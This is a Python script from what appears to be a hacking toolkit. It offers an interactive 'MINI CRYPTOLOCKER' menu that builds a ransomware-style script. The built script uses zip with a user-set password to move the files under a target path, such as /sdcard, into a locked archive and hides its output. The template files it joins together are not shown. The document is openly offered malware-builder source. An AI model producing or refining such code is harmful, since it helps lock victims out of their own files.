import os,sys
import time
import socket


u='\033[4m'
w='\x1b[00m'
r='\x1b[91m'
b='\x1b[36;1m'
y='\x1b[33m'

def infouser():
        s =socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8',80))
        ipaddress=(s.getsockname()[(0)])
        print('Your ip address: '+ipaddress)
        s.close

def exit():
        print(r+'[!]'+w+' The user forces it to stop')
        print(r+'[!]'+w+' Exiting program')
        sys.exit(1)
        
def corrupt():
        print(r+'[?]'+w+' Command not found, please type help')
        
def minicrypto():
        global output
        global target
        global passw
        global name
        while True:
                try:
                        mc = input(w+'saydog('+r+'pytoolkit/minicrypto'+w+') > ')
                        if mc == 'help':
                                print('')
                                print('MINI CRYPTOLOCKER')
                                print('-----------------')
                                print('Auto encrypt path file with password')
                                print('')
                                print('command                                     example')
                                print('-------                                     -------')
                                print('set name [name file]            set name minicrypto')
                                print('set password [password]      set password locked123')
                                print('set pathtarget [path]        set pathtarget /sdcard')
                                print('set output [path]                set output /sdcard')
                                print('show, show value                         show value')
                                print('run, go, create                              create')
                                print('')
                        elif mc == 'clear':
                                os.system('clear')
                        elif mc == 'back':
                                sys.exit(0)
                        elif mc == 'exit':
                                exit()
                        elif 'set name' in mc:
                                name = mc.split()[(-1)]
                                print('name > '+name)
                        elif 'set password' in mc:
                                passw = mc.split()[(-1)]
                                print('password > '+passw)
                        elif 'set pathtarget' in mc:
                                target = mc.split()[(-1)]
                                print('pathtarget > '+target)
                        elif 'set output' in mc:
                                output = mc.split()[(-1)]
                                print('output > '+output)
                        elif mc == 'show' or mc == 'show value':
                                print('')
                                print('---------------------------')
                                print('name        : '+name)
                                print('password    : '+passw)
                                print('path target : '+target)
                                print('output      : '+output)
                                print('---------------------------')
                                print('')
                        elif mc == 'run' or mc == 'go' or mc == 'create':
                                print(b+'[-]'+w+' Creating code for mini cryptolocker')
                                print(b+'[-]'+w+' please wait for a few  minutes')
                                time.sleep(2)
                                os.system('cat 1 > mc.py;cat 2 >> mc.py;echo """'+passw+' your_file.zip -m -r '+target+' &> /dev//null'+"'"+")"+'""" >> mc.py;cat 4 >> mc.py;echo """'+passw+' your_file.zip &> /dev//null'+"'"+')""" >> mc.py;cat 5 >> mc.py;cat mc.py > '+output+'/'+name+'.py;rm mc.py')
                                print(b+'[-]'+w+' code has been created')
                                print(b+'[-]'+w+' language python 3.7')
                                print(b+'[-]'+w+' file saved as '+output+'/'+name+'.py')
                        else:
                                corrupt()
                except NameError:
                        print(r+'[!] Error: '+w+'value not found, please type help')
                except KeyboardInterrupt:
                        exit()
minicrypto()